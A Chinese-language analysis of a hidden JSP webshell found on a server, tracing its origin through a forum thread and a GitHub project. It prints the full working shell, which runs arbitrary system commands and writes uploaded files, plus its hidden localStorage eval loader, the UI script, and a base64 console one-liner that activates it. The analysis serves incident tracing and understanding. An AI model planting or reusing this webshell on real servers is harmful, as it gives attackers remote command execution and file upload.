jsp木马样本来自T00ls论坛:《服务器 jsp隐藏木马 溯源》,https://www.t00ls.net/viewthread.php?tid=53643&extra=&page=1

jsp木马原始代码如下:

<%@page import="java.io.*, java.util.*, javax.xml.bind.*, java.net.*"%><script>eval(window.localStorage.embed)</script><%!public String v(String w){String x="";try{x=URLDecoder.decode(w,"UTF-8");}catch(Exception e){}return x;}%><%String o,l,d;o=l=d="";DataInputStream r=new DataInputStream(request.getInputStream());while((l=r.readLine())!=null){d+=l;}if(d.indexOf("c=")>=0){String g=v(d.substring(2));String s;try{Process p=Runtime.getRuntime().exec(g);DataInputStream i=new DataInputStream(p.getInputStream());out.print("<pre>");while((s=i.readLine())!=null){o+=s.replace("<","&lt;").replace(">","&gt;")+"<br>";}}catch(Exception e){out.print(e);}}else{if(d.length()>1){int b=d.indexOf("b=");int n=d.indexOf("n=");byte[] m=DatatypeConverter.parseBase64Binary(v(d.substring(b+2)));String f=v(d.substring(2,n-1))+File.separator+v(d.substring(n+2,b-1));try{OutputStream stream=new FileOutputStream(f);stream.write(m);o="Uploaded: "+f;}catch(Exception e){out.print(e);}}}%><%=o%>

原始代码格式化之后如下:

<%@ page import="java.io.*, java.util.*, javax.xml.bind.*, java.net.*" %>
<script>eval(window.localStorage.embed)</script>
<%!
    public String v(String w) {
        String x="";
        try {
            x=URLDecoder.decode(w,"UTF-8");
        }
        catch(Exception e) {

        }
        return x;
    }
%>
<%
    String o,l,d;
    o=l=d="";
    DataInputStream r=new DataInputStream(request.getInputStream());
    while((l=r.readLine())!=null) {
        d+=l;
    }
    if(d.indexOf("c=")>=0) { // 执行系统命令
        String g=v(d.substring(2));
        String s;
        try {
            Process p=Runtime.getRuntime().exec(g);
            DataInputStream i=new DataInputStream(p.getInputStream());
            out.print("<pre>");
            while((s=i.readLine())!=null) {
                o+=s.replace("<","&lt;").replace(">","&gt;")+"<br>";
            }
        }
        catch(Exception e) {
            out.print(e);
        }
    }
    else {
        if(d.length()>1) {  //上传文件
            int b=d.indexOf("b=");
            int n=d.indexOf("n=");
            byte[] m=DatatypeConverter.parseBase64Binary(v(d.substring(b+2)));
            String f=v(d.substring(2,n-1))+File.separator+v(d.substring(n+2,b-1));
            try {
                OutputStream stream=new FileOutputStream(f);
                stream.write(m);
                o="Uploaded: "+f;
            }
            catch(Exception e) {
                out.print(e);
            }
        }
    }
%>
<%=o%>

这个jsp木马有2个功能:执行系统命令和上传文件。但是直接访问该jsp时服务器返回空白页面,查看网页html源码发现只有一行代码: <script>eval(window.localStorage.embed)</script> 

这行代码的作用是通过JavaScript的eval函数执行存储在localStorage中的字符串。

T00ls论坛里的楼主通过Google搜索已经找出该jsp木马的来源,发现该jsp木马来自GitHub,项目地址为:https://github.com/SecurityRiskAdvisors/cmd.jsp

项目中a.js提供木马的操作UI,a.js文件内容如下:

document.write("<p>");
var html = "<form method=post action='cmd.jsp'>\
<input name='c' type=text><input type=submit value='Run'>\
</form><hr>\
<form action='cmd.jsp' method=post>\
Upload dir: <input name='a' type=text value='.'><br>\
Select a file to upload: <input name='n' type='file' id='f'>\
<input type='hidden' name='b' id='b'>\
<input type='submit' value='Upload'>\
</form><hr>";
var div = document.createElement('div');
div.innerHTML = html;
document.body.insertBefore(div, document.body.firstChild);

var handleFileSelect = function(evt) {
    var files = evt.target.files;
    var file = files[0];

    if (files && file) {
        var reader = new FileReader();

        reader.onload = function(readerEvt) {
            var binaryString = readerEvt.target.result;
            document.getElementById('b').value = btoa(binaryString);
        };

        reader.readAsBinaryString(file);
    }
};
if (window.File && window.FileReader && window.FileList && window.Blob) {
    document.getElementById('f').addEventListener('change', handleFileSelect, false);
} else {
    alert('The File APIs are not fully supported in this browser.');
}

可以看到上述js文件确实能改变前端html页面的显示内容。

在Chrome浏览器的console命令行执行以下代码,然后再访问jsp木马即可看到真正的木马操作页面。

javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

真正的木马操作页面如下:

01-05 12:09